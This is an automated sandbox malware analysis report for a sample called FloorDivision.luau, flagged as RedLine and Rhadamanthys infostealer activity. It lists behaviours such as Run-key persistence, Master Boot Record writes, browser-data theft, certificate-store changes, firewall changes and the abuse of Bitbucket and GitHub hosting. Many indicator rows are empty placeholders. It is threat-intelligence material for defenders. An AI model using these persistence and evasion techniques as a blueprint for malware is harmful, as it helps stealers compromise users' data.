Malware Analysis Report

2024-10-10 13:34

Sample ID 240521-ze5z7ahg4s
Target FloorDivision.luau
SHA256 4f46e7ff197b63e7c809f4def8722cb33a1244e48453e46af4fce77545e3ba04
Tags
redline rhadamanthys bootkit discovery evasion execution infostealer persistence spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4f46e7ff197b63e7c809f4def8722cb33a1244e48453e46af4fce77545e3ba04

Threat Level: Known bad

The file FloorDivision.luau was found to be: Known bad.

Malicious Activity Summary

redline rhadamanthys bootkit discovery evasion execution infostealer persistence spyware stealer

RedLine

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

RedLine payload

Blocklisted process makes network request

Modifies Windows Firewall

Downloads MZ/PE file

Reads user/profile data of web browsers

Registers COM server for autorun

Loads dropped DLL

Executes dropped EXE

Enumerates connected drives

Legitimate hosting services abused for malware hosting/C2

Adds Run key to start application

Writes to the Master Boot Record (MBR)

Checks installed software on the system

Drops file in System32 directory

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Program crash

Modifies system certificate store

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Opens file in notepad (likely ransom note)

Suspicious use of SendNotifyMessage

Checks SCSI registry key(s)

Creates scheduled task(s)

Enumerates system info in registry

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of SetWindowsHookEx

Suspicious behavior: LoadsDriver

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates processes with tasklist

Modifies data under HKEY_USERS

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

NTFS ADS

Modifies Internet Explorer settings

Modifies registry class

Delays execution with timeout.exe

Kills process with taskkill

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-21 20:38

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-21 20:38

Reported

2024-05-21 21:22

Platform

win11-20240426-en

Max time kernel

2524s

Max time network

2538s

Command Line

sihost.exe

Signatures

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Rhadamanthys

stealer rhadamanthys

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz0.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\ywf23syg.cmz1.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Reads user/profile data of web browsers

spyware stealer

Registers COM server for autorun

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip.dll" N/A N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" N/A N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Windows\CurrentVersion\Run\Mental Mentor = "\"C:\\Users\\Admin\\mentalmentor\\mentalmentor.exe\" silent" N/A N/A

Checks installed software on the system

discovery

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\D: N/A N/A
File opened (read-only) \??\F: N/A N/A
File opened (read-only) \??\D: N/A N/A
File opened (read-only) \??\F: N/A N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A bitbucket.org N/A N/A
N/A bitbucket.org N/A N/A
N/A bitbucket.org N/A N/A
N/A bitbucket.org N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A bitbucket.org N/A N/A
N/A camo.githubusercontent.com N/A N/A
N/A bitbucket.org N/A N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 N/A N/A
File opened for modification \??\PhysicalDrive0 N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_488E097E1A6B1768143D54114E281A12 N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\test_wpf.exe.log N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\BrightData N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\idle_report.exe.log N/A N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_488E097E1A6B1768143D54114E281A12 N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\7-Zip\Lang\be.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\sa.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ps.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\sq.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ku-ckb.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ta.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\zh-cn.txt N/A N/A
File created C:\Program Files (x86)\360\Total Security\writeable_test_243103453.dat N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\br.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\nn.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\tk.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\gu.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\pl.txt N/A N/A
File opened for modification C:\Program Files (x86)\360\Total Security\config.ini N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\gl.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ru.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\va.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\nb.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\an.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\id.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ms.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\uz-cyrl.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\7-zip.dll.tmp N/A N/A
File opened for modification C:\Program Files\7-Zip\History.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ast.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\lv.txt N/A N/A
File created C:\Program Files (x86)\1716326527_0\360TS_Setup.exe N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\mr.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\License.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\7z.dll N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\sw.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\7-zip32.dll N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\en.ttt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\hy.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\pt.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ga.txt N/A N/A
File created C:\Program Files (x86)\360\Total Security\softmgr\AdvUtils.ini N/A N/A
File opened for modification C:\Program Files (x86)\360\Total Security\i18n\i18n.ini N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\bn.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\sr-spl.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Uninstall.exe N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\tg.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\7-zip.dll N/A N/A
File opened for modification C:\Program Files\7-Zip\7zG.exe N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ar.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ja.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ro.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ka.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\sr-spc.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ug.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ku.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\th.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\7zCon.sfx N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\pt-br.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\sl.txt N/A N/A
File created C:\Program Files\7-Zip\7-zip.dll.tmp N/A N/A
File opened for modification C:\Program Files\7-Zip\7-zip.chm N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\hi.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\kaa.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\readme.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\7zFM.exe N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\ca.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\de.txt N/A N/A
File opened for modification C:\Program Files\7-Zip\Lang\fi.txt N/A N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A
N/A N/A N/A

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 C:\Windows\system32\taskmgr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A C:\Windows\system32\taskmgr.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\system32\taskmgr.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz N/A N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 N/A N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A N/A N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName N/A N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS N/A N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer N/A N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main N/A N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1" N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch N/A N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates N/A N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs N/A N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\15 N/A N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\15\Shell N/A N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\15\Shell\SniffedFolderType = "Generic" N/A N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings C:\Windows\system32\taskmgr.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags C:\Program Files\Mozilla Firefox\firefox.exe N/A
